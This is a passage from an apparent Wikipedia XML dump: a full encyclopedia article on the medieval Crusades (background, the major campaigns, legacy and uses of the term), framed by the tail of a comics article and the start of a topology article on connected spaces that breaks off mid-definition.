*[http://www.crimeboss.com/history03-1.html The Senate Subcommittee on Juvenile Delinquency]
*[http://www.toonopedia.com/index.htm Don Markstein's Toonopedia]
*[http://www.comics.org Grand Comic-Book Database]


[[Category:Comic books|*]]
[[Category:Comics]]
[[Category:Entertainment]]
[[Category:Magazines]]

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[[es:historieta]]
[[fr:Bande dessinée]]
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  <page>
    <title>Crusade</title>
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      <text xml:space="preserve">{{Crusade}}
{{dablink|This article is about the [[medieval]] crusades. For other uses, see [[Crusade (disambiguation)]].}}

The '''Crusades''' were a series of several military campaigns&amp;mdash;usually sanctioned by the [[Papacy]]&amp;mdash;that took place during the [[11th century|11th]] through [[13th century|13th centuries]]. Originally, they were [[Roman Catholic Church|Roman Catholic]] Holy Wars to recapture [[Jerusalem]] and the [[Holy Land]] from the [[Islam|Muslims]], but some were directed against other Europeans, such as the [[Fourth Crusade]] against [[Constantinople]], the [[Albigensian Crusade]] against the [[Cathars]] of southern France and the [[Northern Crusades]].

Beyond the medieval military events, the word &quot;crusade&quot; has evolved to have multiple meanings and connotations. For additional meanings see [[Crusade#Usage of the term &quot;crusade&quot;|usage of the term &quot;crusade&quot;]] below and/or the [[wiktionary:Crusade|dictionary definition]].

== Historical background ==  
The origins of the crusades lie in developments in Western Europe earlier in the [[Middle Ages]], as well as the deteriorating situation of the [[Byzantine Empire]] in the east. The breakdown of the [[Carolingian Empire]] in the later 9th century, combined with the relative stabilization of local European borders after the Christianization of the [[Vikings]], [[Slavs]], and [[Magyars]], meant that there was an entire class of warriors who now had very little to do but fight amongst themselves and terrorize the peasant population. The Church tried to stem this violence with the [[Peace and Truce of God]] movements, which was somewhat successful, but trained warriors always sought an outlet for their violence. One later outlet was the ''[[Reconquista]]'' in [[Spain]] and [[Portugal]], which at times occupied Iberian [[knights]] and some [[mercenaries]] from elsewhere in Europe in the fight against the Islamic [[Moors]]. In [[1063]], [[Pope Alexander II]] had given papal blessing to Iberian [[Christianity|Christians]] in their wars against the Muslims, granting both a papal standard (the ''vexillum sancti Petri'') and an [[indulgence]] to those who were killed in battle. A plea for help from the Byzantine Emperor [[Alexius I Comnenus]] in opposing [[Muslim]] attacks thus fell on ready ears.

The Crusades were in part an outlet for an intense religious piety which rose up in the late 11th century among the lay public. This was due in part to the [[Investiture Controversy]], which had started around 1075 and was still on-going during the First Crusade. Christendom had been greatly affected by the Investiture Controversy; as both sides tried to marshal public opinion in their favor, people became personally engaged in a dramatic religious controversy. The result was an awakening of intense Christian piety and public interest in religious affairs, which would manifest in the overwhelming popular support for the First Crusade, and the religious vitality of the 12th century. 

This background in the Christian West must be matched with that in the Muslim East. Muslim presence in the Holy Land goes back to the initial [[Arab]] conquest of [[Palestine (region)|Palestine]] in the [[7th century]]. This did not interfere much with [[pilgrimage]] to Christian holy sites or the security of monasteries and Christian communities in the Holy Land of Christendom, and western Europeans were not much concerned with the loss of far-away [[Jerusalem]] when, in the ensuing decades and centuries, they were themselves faced with invasions by Muslims and other hostile non-Christians such as the Vikings and Magyars. However, the Muslim armies' successes were putting strong pressure on the [[Eastern Orthodox]] Byzantine Empire.

A turning point in western attitudes towards the east came in the year [[1009]], when the [[Fatimids|Fatimid]] [[caliph]] of [[Cairo]], [[al-Hakim bi-Amr Allah]], had the [[Church of the Holy Sepulchre]] in Jerusalem destroyed. His successor permitted the [[Byzantine Empire]] to rebuild it under stringent circumstances, and pilgrimage was again permitted, but many stories began to be circulated in the [[Western countries|West]] about the cruelty of Muslims toward Christian pilgrims; these stories then played an important role in the development of the crusades later in the century.

== Historical context ==
{{Christianity}}
:''It is necessary to look for the origin of a crusading ideal in the struggle between Christians and Muslims in Spain and consider how the idea of a holy war emerged from this background.'' &amp;mdash; [[Norman F. Cantor]]

The immediate cause of the First Crusade was Alexius I's appeal to [[Pope Urban II]] for mercenaries to help him resist Muslim advances into territory of the Byzantine Empire. In 1071, at the [[Battle of Manzikert]], the Byzantine Empire had been defeated, and this defeat led to the loss of all but the coastlands of Asia Minor (modern Turkey).  Although the [[East-West Schism]] was brewing between the Catholic Western church and the Greek Orthodox Eastern church, Alexius I expected some help from a fellow Christian. However, the response was much larger, and less helpful, than Alexius I desired, as the Pope called for a large invasion force to not merely defend the Byzantine Empire but also retake Jerusalem.

When the First Crusade was preached in [[1095]], the Christian princes of northern Iberia had been fighting their way out of the mountains of [[Galicia (Spain)|Galicia]] and [[Asturias]], the [[Basque Country]] and [[Navarre]], with increasing success, for about a hundred years. The fall of Moorish [[Toledo, Spain|Toledo]] to the [[Kingdom of León]] in [[1085]] was a major victory, but the turning points of the ''[[Reconquista]]'' still lay in the future. The disunity of the Muslim emirs was an essential factor, and the Christians, whose wives remained safely behind, were hard to beat: they knew nothing except fighting, they had no gardens or libraries to defend, and they worked their way forward through alien territory populated by [[infidel]]s, where the Christian fighters felt they could afford to wreak havoc. All these factors were soon to be replayed in the fighting grounds of the East. Spanish historians have traditionally seen the ''Reconquista'' as the molding force in the [[Castile|Castilian]] character, with its sense that the highest good was to die fighting for the Christian cause of one's country.

While the ''Reconquista'' was the most prominent example of Christian war against Muslim conquests, it is not the only such example. The [[Normans|Norman]] adventurer [[Robert Guiscard]] had conquered the &quot;toe of Italy,&quot; Calabria, in [[1057]] and was holding what had traditionally been Byzantine territory against the Muslims of [[Sicily]]. The maritime states of [[Pisa]], [[Genoa]] and [[Catalonia]] were all actively fighting Islamic strongholds in [[Majorca]] and [[Sardinia]], freeing the coasts of Italy and Catalonia from Muslim raids. Much earlier, of course, the Christian homelands of [[Syria]], [[Lebanon]], [[Palestine (region) | Palestine]], [[Egypt]], and so on had been conquered by [[Muslim]] armies. This long history of losing territories to a religious enemy, as well as a powerful pincer movement on all of Western Europe, created a powerful motive to respond to Byzantine emperor Alexius I's call for holy war to defend Christendom, and to recapture the lost lands, starting at the most important one of all, Jerusalem itself.

The papacy of [[Pope Gregory VII]] had struggled with reservations about the doctrinal validity of a holy war and the shedding of blood for the Lord and had resolved the question in favour of justified violence. More importantly to the Pope, the Christians who made pilgrimages to the Holy Land were being persecuted.  Actions against [[Arianism|Arians]] and other heretics offered historical precedents in a society where violence against unbelievers, and indeed against other Christians, was acceptable and common.   Saint [[Augustine of Hippo]], Gregory's intellectual model, had justified the use of force in the service of Christ in ''[[The City of God]]'', and a Christian &quot;[[just war]]&quot; might enhance the wider standing of an aggressively ambitious leader of Europe, as Gregory saw himself. The northerners would be cemented to Rome and their troublesome knights could see the only kind of action that suited them. Previous attempts by the church to stem such violence, such as the concept of the &quot;Peace of God&quot;, were not as successful as hoped. To the south of Rome, Normans were showing how such energies might be unleashed against both Arabs (in Sicily) and Byzantines (on the mainland). A Latin hegemony in the Levant would provide leverage in resolving the Papacy's claims of supremacy over the [[Patriarch of Constantinople]], which had resulted in the Great Schism of 1054, a rift that might yet be resolved through the force of Frankish arms.

In the Byzantine homelands the Eastern Emperor's weakness was revealed by the disastrous defeat at the [[Battle of Manzikert]] in [[1071]], which reduced the Empire's Asian territory to a region in western Anatolia and around Constantinople. A sure sign of Byzantine desperation was the appeal of Alexius I Comnenus to his enemy the Pope for aid. But Gregory was occupied with the [[Investiture Controversy]] and could not call on the German emperor and the crusade never took shape.

For Gregory's more moderate successor Pope Urban II, a crusade would serve to reunite Christendom, bolster the Papacy, and perhaps bring the East under his control. The disaffected Germans and the Normans were not to be counted on, but the heart and backbone of a crusade could be found in Urban's own homeland among the northern French.

On a popular level, the first crusades unleashed a wave of impassioned, personally felt pious fury that was expressed in the massacres of Jews that accompanied the movement of mobs through Europe, as well as the violent treatment of &quot;schismatic&quot; Orthodox Christians of the east.  The violence against the Orthodox Christians culminated in the sack of Constantinople in [[1204]], in which most of the Crusading armies took part.  The fact that Western Christians had been mistreated in the past (by Constantinople) has never justified this sack in the eyes of the Church.  Indeed, as soon as the Pope learned of the sack of Constantinople, all who took part were immediately excommunicated.  In modern times, [[Pope John Paul II]] has also apologized for this massacre.

The 13th century crusades never expressed such a popular fever, and after Acre fell for the last time in [[1291]], and after the extermination of the Occitan [[Cathar]]s in the [[Albigensian Crusade]], the crusading ideal became devalued by Papal justifications of political and territorial aggressions within Catholic Europe.

The last crusading order of knights to hold territory were the [[Knights Hospitaller]]. After the final fall of Acre they took control of the island of [[Rhodes]], and in the sixteenth century were driven to [[Malta]]. These last crusaders were finally unseated by [[Napoleon I of France|Napoleon]] in [[1798]].

== The major crusades ==
A traditional numbering scheme for the crusades gives us nine during the 11th to 13th centuries, as well as other smaller crusades that are mostly contemporaneous and unnumbered. There were frequent &quot;minor&quot; crusades throughout this period, not only in Palestine but also in Spain and central Europe, against not only Muslims, but also Christian heretics and personal enemies of the Papacy or other powerful monarchs. Such &quot;crusades&quot; continued into the [[16th century]], until the [[Renaissance]] and [[Reformation]] when the political and religious climate of Europe was significantly different than that of the Middle Ages. The following is a listing of the &quot;major&quot; crusades.

=== First Crusade ===
''Full article: [[First Crusade]]''

After Byzantine emperor [[Alexius I]] called for help with defending his empire against the [[Seljuk Turks]], in 1095 at the [[Council of Clermont]] Pope Urban II called upon all Christians to join a war against the Turks, a war which would count as full penance. Crusader armies marched to Jerusalem, sacking several cities on their way. In [[1099]], they took Jerusalem and massacred the population. As a result of the First Crusade, several small [[Crusader states]] were created, notably the [[Kingdom of Jerusalem]]. Following this crusade there was a second, unsuccessful wave of crusaders, the [[Crusade of 1101]].

===Second Crusade===
''Full article: [[Second Crusade]]''

After a period of relative peace, in which Christians and Muslims co-existed in the [[Holy Land]], [[Bernard of Clairvaux]] preached a new crusade when the town of [[County of Edessa|Edessa]] was conquered by the Turks. French and German armies under [[Louis VII of France]] and [[Conrad III of Germany]], marched to Asia Minor in [[1147]], but failed to accomplish any major successes, and indeed endangered the survival of the Crusader states with a foolish attack on [[Damascus]]. By [[1149]], both leaders had returned to their countries without any result.

===Third Crusade===
''Full article: [[Third Crusade]]''

In [[1187]], [[Saladin]], Sultan of Egypt, recaptured [[Jerusalem]]. [[Pope Gregory VIII]] called for a crusade, which was led by several of Europe's most important leaders: [[Philip II of France]], [[Richard I of England]] and [[Frederick I, Holy Roman Emperor]]. Frederick drowned in [[Cilicia]] in [[1190]], leaving an unstable alliance between the English and the French. Philip left in [[1191]] after the Crusaders had recaptured Acre from the Muslims. The Crusader army headed down the coast of the Mediterranean Sea.  They defeated the Muslims near Arsuf and were in sight of Jerusalem. However, the inability of the Crusaders to thrive in the locale due to inadequate food and water resulted in an empty victory.  Richard left the following year after establishing a truce with Saladin.  On Richard's way home, his ship was wrecked and he ended up in Austria. In Austria his enemy Duke Leopold captured him, delivered him to Frederick's son [[Henry VI, Holy Roman Emperor|Henry VI]] and Richard was held for, literally, a king's ransom. By [[1197]], Henry felt himself ready for a Crusade, but he died in the same year of malaria.

===Fourth Crusade===
''Full article: [[Fourth Crusade]]''

Jerusalem having fallen back into Muslim hands a decade earlier, the Fourth Crusade was initiated in [[1202]] by [[Pope Innocent III]], with the intention of invading the Holy Land through Egypt. The [[Venice|Venetians]], under Doge [[Enrico Dandolo]], gained control of this crusade and diverted it to, first the Christian city of Zara, then to [[Constantinople]] where they attempted to place a Byzantine exile on the throne. After a series of misunderstandings and outbreaks of violence, the city was sacked in [[1204]]. 

===Albigensian Crusade===
''Full article: [[Albigensian Crusade]]''

The [[Albigensian]] Crusade was launched in [[1209]] to eliminate the heretical [[Cathars]] of southern [[France]]. It was a decades-long struggle that had as much to do with the concerns of northern France to extend its control southwards as it did with heresy. In the end, both the Cathars and the independence of southern France were exterminated.

===Children's Crusade===
''Full article: [[Children's Crusade]]''

The Children's Crusade is a possibly fictitious or misinterpreted crusade of [[1212]]. The story is that an outburst of the old popular enthusiasm led a gathering of children in France and Germany, which [[Pope Innocent III]] interpreted as a reproof from heaven to their unworthy elders. None of the children actually reached the Holy Land; they were all sold as slaves or died of hunger during the journey.

===Fifth Crusade===
''Full article: [[Fifth Crusade]]''

By processions, prayers, and preaching, the Church attempted to set another crusade on foot, and the [[Fourth Council of the Lateran]] ([[1215]]) formulated a plan for the recovery of the Holy Land. A crusading force from [[Hungary]], [[Austria]], and [[Bavaria]] achieved a remarkable feat in the capture of [[Damietta]] in [[Egypt]] in [[1219]], but under the urgent insistence of the [[papal legate]], Pelagius, they proceeded to a foolhardy attack on [[Cairo]], and an [[inundation]] of the [[Nile]] compelled them to choose between surrender and destruction.

===Sixth Crusade===
''Full article: [[Sixth Crusade]]''

In [[1228]], [[Emperor Frederick II]] set sail from [[Brindisi]] for Syria, though laden with the papal [[excommunication]]. Through diplomacy he achieved unexpected success, [[Jerusalem]], [[Nazareth]], and [[Bethlehem]] being delivered to the Crusaders for a period of ten years. This was the first major crusade not initiated by the Papacy, a trend that was to continue for the rest of the century.

[[Image:crusade_damietta.JPG|right|frame|Louis IX attacks Damietta]]

===Seventh Crusade===
''Full article: [[Seventh Crusade]]''

The papal interests represented by the [[Knights Templar (military order)|Templars]] brought on a conflict with [[Egypt]] in [[1243]], and in the following year a [[Khwarezmian]] force summoned by the latter stormed Jerusalem. Although this provoked no widespread outrage in Europe as the fall of Jerusalem in 1187 had done, [[Louis IX of France]] organized a crusade against [[Egypt]] from [[1248]] to [[1254]], leaving from the newly constructed port of [[Aigues-Mortes]] in southern France. It was a failure and Louis spent much of the crusade living at the court of the Crusader kingdom in Acre. In the midst of this crusade was the first [[Shepherds' Crusade]] in 1251.

===Eighth Crusade===
''Full article: [[Eighth Crusade]]''

The eighth Crusade was organized by [[Louis IX of France|Louis IX]] in [[1270]], again sailing from [[Aigues-Mortes]], initially to come to the aid of the remnants of the Crusader states in Syria. However, the crusade was diverted to [[Tunis]], where Louis spent only two months before dying.

=== Ninth Crusade===
''Full article: [[Ninth Crusade]]''

The future [[Edward I of England]] undertook another expedition in [[1271]], after having accompanied Louis on the Eighth Crusade. He accomplished very little in Syria and retired the following year after a truce. With the fall of [[Principality of Antioch|Antioch]] ([[1268]]), [[County of Tripoli|Tripoli]] ([[1289]]), and [[Siege of Acre (1291)|Acre]] ([[1291]]) the last traces of the Christian rule in [[Syria]] disappeared.

=== Crusades in Baltic and Central Europe ===

[[Image:nevsky2.jpg|thumb|275px|The Teutonic knights in [[Pskov]] in [[1240]], screenshot from [[Sergei Eisenstein]]'s ''[[Alexander Nevsky (film)|Alexander Nevsky]]'' (1938).]]

''Full article: [[Northern Crusades]]''

The Crusades in the [[Baltic Sea]] area and in [[Central Europe]] were efforts by (mostly German) Christians to subjugate and convert the peoples of these areas to Christianity. These Crusades ranged from the [[12th century]], contemporaneous with the Second Crusade, to the [[16th century]]. 

Between 1232 and 1234, there was a crusade against the [[Stedingen|Stedingers]]. This crusade was special, because the Stedingers were no heathens or heretics, but fellow Roman Catholics. They were free [[Frisian]] farmers resented attempts of the count of [[Oldenburg (state)|Oldenburg]] and the archbishop [[Archbishopric of Bremen|Bremen-Hamburg]] to make an end to their freedoms. The archbishop excommunicated them and the pope declared a crusade in 1232. The Stedingers were defeated in 1234.

==Crusade legacy==
The Crusades had profound and lasting historical impacts.

===Europe===
The Crusades had an enormous influence on the European [[Middle Ages]]. At times much of the continent was united under a powerful [[Papacy]], but by the 14th century the old concept of [[Christendom]] was fragmented, and the development of centralized bureaucracies (the foundation of the modern [[nation-state]]) was well on its way in [[France]], [[England]], [[Burgundy]], [[Portugal]], [[Castile]], and [[Aragon]] partly because of the dominance of the church at the beginning of the crusading era. Although [[Europe]] had been exposed to [[Islamic culture]] for centuries through contacts in [[Spain]] and [[Sicily]], much [[Islam|Islamic]] thought, such as science, medicine, and architecture, was transferred to the west during the crusades. The military experiences of the crusades also had their effects in Europe; for example, European [[castle]]s became massive stone structures, as they were in the east, rather than smaller wooden buildings as they had typically been in the past.  The need to raise, transport and supply large armies led to a flourishing of trade throughout Europe. Roads largely unused since the days of [[Roman Empire|Rome]] saw significant increases in traffic as local merchants began to expand their horizons. This was not only because the Crusades ''prepared'' Europe for travel, but rather that many ''wanted'' to travel after being reacquainted with the products of the Middle East. This also aided in the beginning of the [[Renaissance]] in Italy, as various Italian [[city-states]] from the very beginning had important and profitable trading colonies in the crusader states, both in the [[Holy Land]] and later in captured [[Byzantine]] territory. Despite the ultimate defeat in the Middle East, the Crusaders slowed down the military expansion of Islam, helped regaining the Iberian Peninsula and bought Europe some precious time before it faced the next invading force of Islam - the Ottoman Empire.

===Islamic world===

The crusades had profound but localized effects upon the Islamic world, where the equivalents of &quot;Franks&quot; and &quot;Crusaders&quot; remained expressions of disdain. Muslims traditionally celebrate [[Saladin]], the [[Kurdish people|Kurdish]] warrior, as a hero against the Crusaders. In the 21st century, some in the Arab world, such as the [[Arab independence movement]] and [[Pan-Islamism]] movement, continue to call Western involvement in the Middle East a &quot;crusade.&quot; The Crusades were regarded by the Islamic world as cruel and savage onslaughts by European Christians.

===Jewish community===
[[Image:FirstCrusade.jpg|thumb|200px|Right|1250 French Bible illustration depicts Jews (identifiable by [[Judenhut]]) being massacred by Crusaders]]
The Crusaders' atrocities against [[Jew|Jews]] in the German and Hungarian towns, later also in those of France and England, and in the massacres of non-combatants in Palestine and Syria have become a part of [[history of anti-Semitism]]. They ultimately resulted in excommunication and similar ecclesiastical penalties against their perpetrators, as no Crusade was declared against Jews, and left behind for centuries strong feelings of ill will on both sides. The social position of the Jews in western Europe was distinctly worsened, and legal restrictions increased during and after the Crusades. They prepared the way for anti-Jewish legislation of [[Pope Innocent III]] and formed the turning-point in medieval [[anti-Semitism]].

===The Caucasus===
Many of the Crusaders did not return home to Europe, and instead crossed Asia Minor and settled throughout the Caucasus, where several dozen small Caucasian dialects bear traces of the medieval variants of French, German, Latin and English. Many modern village dwellers count their descent from these Crusaders &quot;gone native&quot;, and as late as the early 20th century, relics of armor, weaponry and chain mail were still being used and passed down in such communities.

==Usage of the term &quot;crusade&quot;==
:''For other uses of the term &quot;crusade&quot;, see [[Crusade (disambiguation)]].''
{{wiktionarypar|Crusade}}
 
The crusades were never referred to as such by their participants. The original crusaders were known by various terms, including ''fideles Sancti Petri'' (the faithful of St. Peter) or ''milites Christi'' (knights of Christ). They saw themselves as undertaking an ''iter'', a journey, or a ''peregrinatio'', a pilgrimage, though pilgrims were usually forbidden from carrying arms. Like pilgrims, each crusader swore a vow (a ''votus''), to be fulfilled on successfully reaching Jerusalem, and they were granted a cloth cross (''crux'') to be sewn into their clothes. This &quot;taking of the cross&quot;, the ''crux'', eventually became associated with the entire journey; the word &quot;crusade&quot; (coming into English from the French ''croisade'', the Italian ''crociata'', or the Portuguese ''cruzada'') developed from this. 

Since the 17th century, the term &quot;crusade&quot; has carried a connotation in the [[Western world|West]] of being a righteous campaign, usually to &quot;root out [[evil]]&quot;, or to fight for a just cause.  In a non-historical common or theological use, &quot;crusade&quot; has come to have a much broader emphatic or religious meaning &amp;mdash;substantially removed from 'armed struggle.' 

In a broader sense, &quot;crusade&quot; can be used, always in a [[Rhetoric|rhetorical]] and [[Metaphor|metaphorical]] sense, to identify as righteous any [[war]] that is given a [[religion|religious]] justification (''&quot;Gott mit uns,&quot;'' &quot;God with us&quot;).

Ardent activists may also refer to their causes as &quot;crusades,&quot; as in the &quot;Crusade against Adult Illiteracy,&quot; or a &quot;Crusade against Littering.&quot; In recent years, however, the use of &quot;crusade&quot; as a positive term has become less frequent in order to avoid giving offense to Muslims or others offended by the term. The term may also sarcastically or pejoratively characterize the [[zealotry]] of agenda promoters, for example with the monicker &quot;Public Crusader&quot; or the campaigns &quot;Crusade for a women's right to choose,&quot; and the &quot;Crusade for prayer in public schools.&quot;

== Popular reputation ==
[[Image:Crusade.JPG|thumb|right|150px|[[Cecil B. DeMille]]'s ''Crusades'', 1935]]
In Western Europe, the Crusades have traditionally been regarded by laypeople as heroic adventures, though the mass enthusiasm of common people was largely expended in the First Crusade, from which so few of their class returned. Today, the &quot;[[Saracen]]&quot; adversary is crystallized in the lone figure of [[Saladin]]; his adversary [[Richard I of England|Richard the Lionheart]] is, in the English-speaking world, the archetypical crusader king, while [[Frederick Barbarossa]] (''illustration, below left'') and [[Louis IX of France|Louis IX]] fill the same symbolic niche in German and French culture. Even in contemporary areas, the crusades and their leaders were romanticized in popular literature; the ''[[Chanson d'Antioche]]'' was a [[chanson de geste]] dealing with the First Crusade, and the [[Song of Roland]], dealing with the era of the similarly romanticized [[Charlemagne]], was directly influenced by the experience of the crusades, going so far as to replace Charlemagne's historic [[Basque people|Basque]] opponents with Muslims. A popular theme for [[troubador]]s was the knight winning the love of his lady by going on crusade in the east. 

[[Image:Barbarossa.jpg|thumb|left|180px|The ever-living Frederick Barbarossa, in his mountain cave: a late 19th century German woodcut]]

In the 14th century, [[Godfrey of Bouillon]] was united with the [[Trojan War]] and the adventures of [[Alexander the Great]] against a backdrop for military and courtly heroics of the [[Nine Worthies]] who stood as popular secular [[culture hero]]es into the 16th century, when more critical literary tastes ran instead to [[Torquato Tasso]] and Rinaldo and Armida, Roger and Angelica. Later, the rise of a more authentic sense of history among literate people brought the Crusades into a new focus for the Romantic generation in the romances of Sir [[Walter Scott]] in the early 19th century. Crusading imagery could be found even in the [[Crimean War]], in which the United Kingdom and France were allied with the Muslim [[Ottoman Empire]], and in the [[World War I|First World War]], especially [[Edmund Henry Hynman Allenby, 1st Viscount Allenby|Allenby]]'s capture of Jerusalem in 1917 (''illustration, below right'').

[[Image:Punch1917-richardIandallenby.jpg|thumb|right|180px|Depiction of Richard I overlooking Jerusalem, in ''[[Punch Magazine]]'', December 1917. The caption read: &quot;At last my dream come true.&quot;]]

In Spain, the popular reputation of the Crusades is outshone by the particularly Spanish history of the ''[[Reconquista]]''. [[El Cid]] is the central figure.

===Eastern Orthodoxy===
Like Muslims, [[Eastern Orthodoxy|Eastern Orthodox]] Christians also see the Crusades as attacks by the barbarian West, but centered on the sack of [[Constantinople]] in 1204. Many relics and artifacts taken from Constantinople are still in Roman Catholic hands, in the [[Vatican City|Vatican]] and elsewhere. Disagreement currently exists between modern Turks and Greeks over the claimant rights to the Greek Horses on the facade of [[San Marco di Venezia|St. Mark's]] in [[Venice]]. The Greeks argue that the frieze is inherently part of Greek culture and identity, similar to the &quot;Elgin&quot; Marbles and the Turks counter that the freize originated from what is now modern-day [[Istanbul]]. A picture of Turkish popular history of the Crusades can be assembled by compiling text of official Turkish brochures on Crusader fortifications in the Aegean coast and coastal islands. Countries of Central Europe, despite the fact that formally they also belonged to [[Western Christianity]], were the most skeptical about the idea of Crusades. Many cities in [[Hungary]] were sacked by passing bands of Crusaders; one ruler of [[Poland]] refused to join a Crusade, allegedly because of the lack of [[beer]] in the [[Holy land]]. Later on [[Poland]] and [[Hungary]] were themselves subject to conquest from the [[Crusaders]] (see [[Teutonic Order]]), and therefore invented the idea that [[Paganism|pagans]] have the right to live in peace and have property rights to their lands (see [[Pawel Wlodkowic]]).

== See also ==
{{commons|Category:Crusades}}

* [[Crusade art]]
* [[Crusader States]]
* [[Military orders]]
* [[Religious Wars]]
* [[Shepherds' Crusade]]
* [[Tenth Crusade]]

==References and further reading==
*Alfred J. Andrea, ''Encyclopedia of the Crusades''. Greenwood Press, 2003.
*Carole Hillenbrand, ''The Crusades, Islamic Perspectives''. New York, 2000.
*P.M. Holt, ''The Age of the Crusades: The Near East from the Eleventh Century to 1517''. New York, 1986.
*Thomas F. Madden, ''The New Concise History of the Crusades''. Lanham, 2005.
*Hans E. Mayer, ''The Crusades''. Oxford, 1965.
*Jonathan Riley-Smith, ''The First Crusade and the Idea of Crusading''. Philadelphia, 1986.
*Jonathan Riley-Smith, ''The Oxford History of the Crusades''. Oxford, 1995.
*Jonathan Riley-Smith, ''What were the Crusades?''. San Francisco, 2002.
*[[Steven Runciman]], ''A History of the Crusades'', 3 vols., Cambridge, 1951-1954.
*[[Amin Maalouf]], ''The Crusades Through Arab Eyes''. 1983

==External links==

*Kenneth Setton, ed., ''A History of the Crusades''. Madison, 1969-1989 ([http://libtext.library.wisc.edu/HistCrusades/ e-book online])
*Angeliki E. Laiou, ''The Crusades from the Perspective of Byzantium and the Muslim World'', ([http://www.doaks.org/LACR.html e-book online]), includes chapter on Historiography of the crusades.
*E.L. Skip Knox, [http://crusades.boisestate.edu/ The Crusades], a virtual college course through [[Boise State University]].


[[Category:Crusades|*]]
[[Category:Jerusalem]]
[[Category:Islamic history]]
[[Category:Islam and Other Religions]]

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[[zh:十字軍東征]]</text>
    </revision>
  </page>
  <page>
    <title>Connected space</title>
    <id>6233</id>
    <revision>
      <id>40496585</id>
      <timestamp>2006-02-21T00:04:34Z</timestamp>
      <contributor>
        <username>Johnfuhrmann</username>
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      <minor />
      <comment>/* Local connectedness */</comment>
      <text xml:space="preserve">[[Image:Connected and disconnected spaces.svg|thumb|250px|Connected and disconnected subspaces of '''R'''². The space ''A'' at top is connected; the shaded space ''B'' at bottom is not.]]

In [[topology]] and related branches of [[mathematics]], a '''connected space''' is a [[topological space]] which cannot be written as the [[disjoint union (topology)|disjoint union]] of two or more nonempty spaces. Connectedness is one of the principal [[topological properties]] that is used to distinguish topological spaces. A stronger notion is that of a '''path-connected space''', which is a space where any two points can be joined by a [[path (topology)|path]].

It is usually easy to think about what is not connected. A simple example would be a space consisting of two rectangles, each of which is a space and not adjoined to the other. The space is not connected since two rectangles are disjoint. Another good example is a space with an annulus removed. The space is not connected since you cannot connect two points, one inside the annulus and the other outside; hence the term &quot;connect&quot;.

Also, in a sense, a connected space is a generalization of an interval on the real number line, just as a topological space is, so to speak, an attempt to generalize an interval.

==Formal definition==

A [[topological space]] ''X'' is said to be '''disconnected''' if it is the [[union (set theory)|union]] of two [[disjoint]] [[nonempty]] [[open set]]s. Otherwise, ''X'' is said to be '''connected'''.  A [[subset]] of a topological space is said to be connected if it is connected under its [[subspace (topology)|subspace topology]]. Some authors specifically exclude the [[empty set]] with its unique topology as a connected space, but this encyclopedia does not follow that practice.

For a topological space ''X'' the following conditions are equivalent:

#''X'' is connected.
#''X'' cannot be divided into two disjoint nonempty [[closed set]]s (This follows since the [[complement (set theory)|complement]] of an open set is closed).
#The only sets which are both open and closed ([[clopen set]]s) are ''X'' and the empty set.
#The only sets with empty [[boundary (topology)|boundary]] are ''X'' and the empty set.
#''X'' cannot be written as the union of two nonempty [[separated sets]].
 
The [[maximal element|maximal]] nonempty connected subsets of any topological space are called the '''connected components''' of the space.
The components form a [[partition of a set|partition]] of the space (that is, they are [[disjoint]] and their union is the whole space).
Every component is a [[closed subset]] of the original space.
The components in general need not be open: the components of the [[rational number]]s, for instance, are the one-point sets.
A space in which all components are one-point sets is called '''totally disconnected'''. Related to this property, a space ''X'' is called '''totally separated''' if, for any two elements ''x'' and ''y'' of ''X'', there exist disjoint [[neighborhood (topology)|open neighborhood]]s ''U'' of ''x'' and ''V'' of ''y'' such that ''X'' is the union of ''U'' and ''V''. Clearly any totally separated space is totally disconnected, but the converse does not hold. For example take two copies of the rational numbers '''Q''', and identify them at every point except zero. The resulting space, with the quotient topology, is totally disconnected. However, by considering the two copies of zero, the space is not totally separated, or even [[Hausdorff_space|Hausdorff]].

== Examples ==

* The closed interval [0, 2] is connected; it can, for example, be written as the union of [0, 1) and [1, 2], but the second set is not open in the topology of [0, 2]. On the other hand, the union of [0, 1) and (1, 2] is disconnected; both of these intervals are open in the topological space [0, 1)&amp;cup;(1, 2].
* A [[convex set]] is connected; it is actually [[simply connected set|simply connected]].
* An [[Euclidean space|Euclidean plane]] excluding the origin, (0, 0), is connected, but is not simply connected. The three-dimensional Euclidean space without the origin is connected, and even simply connected. In contrast, the one-dimensional Euclidean space without the origin is not connected. 
* The space of [[real number]]s with the usual topology is connected.
* Every [[discrete topological space]] is disconnected, in fact such a space is totally disconnected.
* The [[Cantor set]] is totally disconnected; since the set contains uncountably many points, it has an uncountably many components.
* If a space ''X'' is [[homotopy|homotopic]] to a connected space, then ''X'' is itself connected.

== Path connectedness ==
[[Image:Path-connected space.svg|thumb|This subspace of '''R'''² is path-connected, because a path can be drawn between any two points in the space.]]

The space ''X'' is said to be '''path-connected''' if for any two points ''x'' and ''y'' in ''X'' there exists a [[continuous function (topology)|continuous function]] ''f'' from the [[unit interval]] [0,1] to ''X'' with ''f''(0) = ''x'' and ''f''(1) = ''y''.
(This function is called a ''[[path (topology)|path]]'' from ''x'' to ''y''.)

Every path-connected space is connected.
Example of connected spaces that are not path-connected include the extended [[long line (topology)|long line]] ''L''* and the ''[[topologist's sine curve]]''.

However, subsets of the [[real line]] '''R''' are connected [[if and only if]] they are path-connected; these subsets are the [[interval (mathematics)|intervals]] of '''R'''.
Also, [[open subset]]s of '''R'''&lt;sup&gt;''n''&lt;/sup&gt; or '''C'''&lt;sup&gt;''n''&lt;/sup&gt; are connected if and only if they are path-connected.
Additionally, connectedness and path-connectedness are the same for [[finite]] topological spaces.

A space &lt;i&gt;X&lt;/i&gt; is said to be &lt;b&gt;arc-connected&lt;/b&gt; if any two distinct points can be joined by an &lt;i&gt;arc&lt;/i&gt;, that is a path &lt;i&gt;f&lt;/i&gt; which is a [[homeomorphism]] between the unit interval [0,1] and its image &lt;i&gt;f&lt;/i&gt;([0,1]). It can be shown any [[Hausdorff space]] which is path-connected is also arc-connected. An example of a space which is path-connected but not arc-connected is provided by adding a second copy 0&amp;#39; of 0 to the nonnegative real numbers &lt;nowiki&gt;[&lt;/nowiki&gt;0,&amp;infin;&lt;nowiki&gt;)&lt;/nowiki&gt;. One endows this set with a [[partially ordered set|partial order]] by specifying that 0&amp;#39;&amp;lt;&lt;i&gt;a&lt;/i&gt; for any positive number &lt;i&gt;a&lt;/i&gt;, but leaving 0 and 0&amp;#39; incomparable. One then endows this set with the &lt;i&gt;order topology&lt;/i&gt;, that is one takes the open intervals
